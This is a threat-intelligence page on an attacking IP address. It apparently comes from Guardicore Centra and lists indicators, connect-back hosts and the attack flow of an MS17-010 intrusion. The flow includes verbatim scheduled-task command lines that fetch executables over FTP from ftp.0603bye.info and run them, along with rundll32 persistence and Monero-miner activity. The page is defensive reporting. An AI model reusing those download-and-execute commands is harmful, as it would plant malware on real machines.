IP Address: 62.117.113.50Malicious

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IP Address:
62.117.113.50​
Malicious

This IP address attempted an attack on a machine protected by Guardicore Centra

Threat Information

Role

Attacker

Services Targeted

HTTP

Tags

IDS - Attempted Administrator Privilege Gain HTTP File Operation By CMD CMD SMB Null Session Login IDS - A Network Trojan was detected SMB Service Stop Known Malware Service Creation Download File Access Suspicious Domain Service Configuration Listening System File Modification Download and Execute User Created Service Start User Removed Scheduled Task Creation Driver Start DNS Query Driver Creation Outgoing Connection MS17-010 User Added to Group PowerShell

Connect Back Servers

triangleww.com pool.minexmr.com ip.seeip.org ctldl.windowsupdate.com js.1226bye.xyz apps.identrust.com

139.5.177.10 223.25.247.240 173.247.239.186 74.222.14.94

Basic Information

IP Address

62.117.113.50

Domain

-

ISP

-

Country

Russian Federation

WHOIS

Created Date

-

Updated Date

-

Organization

-

First seen in Guardicore Centra

2018-10-25

Last seen in Guardicore Centra

2019-08-31

What is Guardicore Centra
Guardicore Centra is a data center and cloud security solution that protects the organization's core assets, using flexible, quickly deployed and easy to understand micro-segmentation controls. Centra generates in-context security incidents, with details on attacker tools and techniques, that help IR teams prioritize incident investigation and reduce dwell time. Learn More

Attack Flow

IDS detected A Network Trojan was detected : ETERNALBLUE Probe Vulnerable System Response MS17-010

IDS - A Network Trojan was detected

IDS detected Attempted Administrator Privilege Gain : Windows SMB remote code execution attempt

IDS - Attempted Administrator Privilege Gain

The machine was exploited using the ms17-010 vulnerability

Process c:\windows\system32\windowspowershell\v1.0\powershell.exe generated outgoing network traffic to: 74.222.14.94:80

Outgoing Connection

PowerShell session started by c:\windows\system32\windowspowershell\v1.0\powershell.exe 2 times

User admin$ was created with the password ************* and added to groups: Administrators

User Added to Group User Created

Process c:\windows\system32\windowspowershell\v1.0\powershell.exe generated outgoing network traffic to: 139.5.177.10:80, 173.247.239.186:80 and 74.222.14.94:80

Outgoing Connection

The file C:\Windows\System32\ok.exe was downloaded and executed

Download and Execute

The file C:\Windows\System32\upsupx.exe was downloaded and executed

Download and Execute

Process c:\windows\system32\upsupx.exe started listening on ports: 32831

Listening

Process c:\windows\system32\u.exe generated outgoing network traffic to: 223.25.247.240:80

Outgoing Connection

Process c:\windows\system32\u.exe attempted to access suspicious domains: triangleww.com

Outgoing Connection Access Suspicious Domain

System file C:\Windows\AppCompat\Programs\Amcache.hve was modified

System File Modification

The file C:\Windows\Inf\msiefs.exe was downloaded and executed

Download and Execute

Process c:\windows\inf\lsmm.exe started listening on ports: 32832

Listening

Process c:\windows\inf\lsmm.exe attempted to access domains: pool.minexmr.com

DNS Query

The file C:\Windows\System\msinfo.exe was downloaded and executed 2 times

Download and Execute

The file C:\Windows\SysWOW64\wpcap.dll was downloaded and loaded by c:\windows\system\msinfo.exe

Download and Execute

The file C:\Windows\SysWOW64\npptools.dll was downloaded and loaded by c:\windows\system\msinfo.exe

Download and Execute

The command line c:\windows\system\my1.bat was scheduled to run by modifying C:\Windows\Tasks\my1.job

c:\windows\system32\services.exe installed and started c:\windows\system\msinfo.exe as a service named xWinWpdSrv under service group None

Service Start Service Creation

The command line c:\windows\system\my1.bat was scheduled to run by modifying C:\Windows\System32\Tasks\my1

Service netprofm was stopped

Service Stop

Service NlaSvc was stopped

Service Stop

Process c:\windows\system\msinfo.exe attempted to access suspicious domains: ip.seeip.org

DNS Query Access Suspicious Domain

csrs.exe was downloaded

Download File

Process c:\windows\system32\regsvr32.exe attempted to access suspicious domains: js.1226bye.xyz

DNS Query Access Suspicious Domain

Process c:\windows\system\msinfo.exe attempted to access domains: apps.identrust.com and ctldl.windowsupdate.com

DNS Query

The file C:\Windows\System32\drivers\npf.sys was downloaded and loaded by system

Download and Execute

c:\windows\system32\services.exe installed and started system32\drivers\npf.sys as a service named NPF under service group None

Driver Start Service Creation

The command line cmd /c echo open ftp.0603bye.info>s&echo test>>s&echo 1433>>s&echo binary>>s&echo get a.exe c:\windows\update.exe>>s&echo bye>>s&ftp -s:s&c:\windows\update.exe was scheduled to run by modifying C:\Windows\System32\Tasks\Mysa

The command line rundll32.exe c:\windows\debug\item.dat,ServiceMain aaaa was scheduled to run by modifying C:\Windows\System32\Tasks\Mysa1

The command line cmd /c echo open ftp.0603bye.info>p&echo test>>p&echo 1433>>p&echo get s.dat c:\windows\debug\item.dat>>p&echo bye>>p&ftp -s:p was scheduled to run by modifying C:\Windows\System32\Tasks\Mysa2

The command line cmd /c echo open ftp.0603bye.info>ps&echo test>>ps&echo 1433>>ps&echo get s.rar c:\windows\help\lsmosee.exe>>ps&echo bye>>ps&ftp -s:ps&c:\windows\help\lsmosee.exe was scheduled to run by modifying C:\Windows\System32\Tasks\Mysa3

The command line rundll32.exe c:\windows\debug\ok.dat,ServiceMain aaaa was scheduled to run by modifying C:\Windows\System32\Tasks\ok

Connection was closed due to timeout

Associated Files

C:\Windows\System32\drivers\npf.sys

SHA256: 4bfaa99393f635cd05d91a64de73edb5639412c129e049f0fe34f88517a10fc6

36,600 bytes

C:\Windows\Inf\msiefs.exe

SHA256: e8ddefd237646a47debc01df9aa02fbcae40686f96b7860511c73798c7546201

305,276 bytes

C:\Windows\SysWOW64\wpcap.dll

SHA256: b967e4dce952f9232592e4c1753516081438702a53424005642700522055dbc9

282,360 bytes

C:\Windows\System32\ok.exe

SHA256: a3bb132ab1ba3e706b90d6fb514504105f174c4e444e87be7bce1995f798044d

2,241,024 bytes

C:\Windows\SysWOW64\npptools.dll

SHA256: 366b77df76729d08687051c1ec4b718ba1d650bca5b16eb15ec5c11570d6ff16

48,128 bytes

C:\Windows\System32\upsupx.exe

SHA256: 790c213e1227adefd2d564217de86ac9fe660946e1240b5415c55770a951abfd

221,184 bytes

C:\Windows\System\msinfo.exe

SHA256: 7ec433dd0454553b09f11c39944e251e3ee32e4981f52f02adc3011eb0ce6537

4,887,552 bytes

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IP Address: 62.117.113.50​Malicious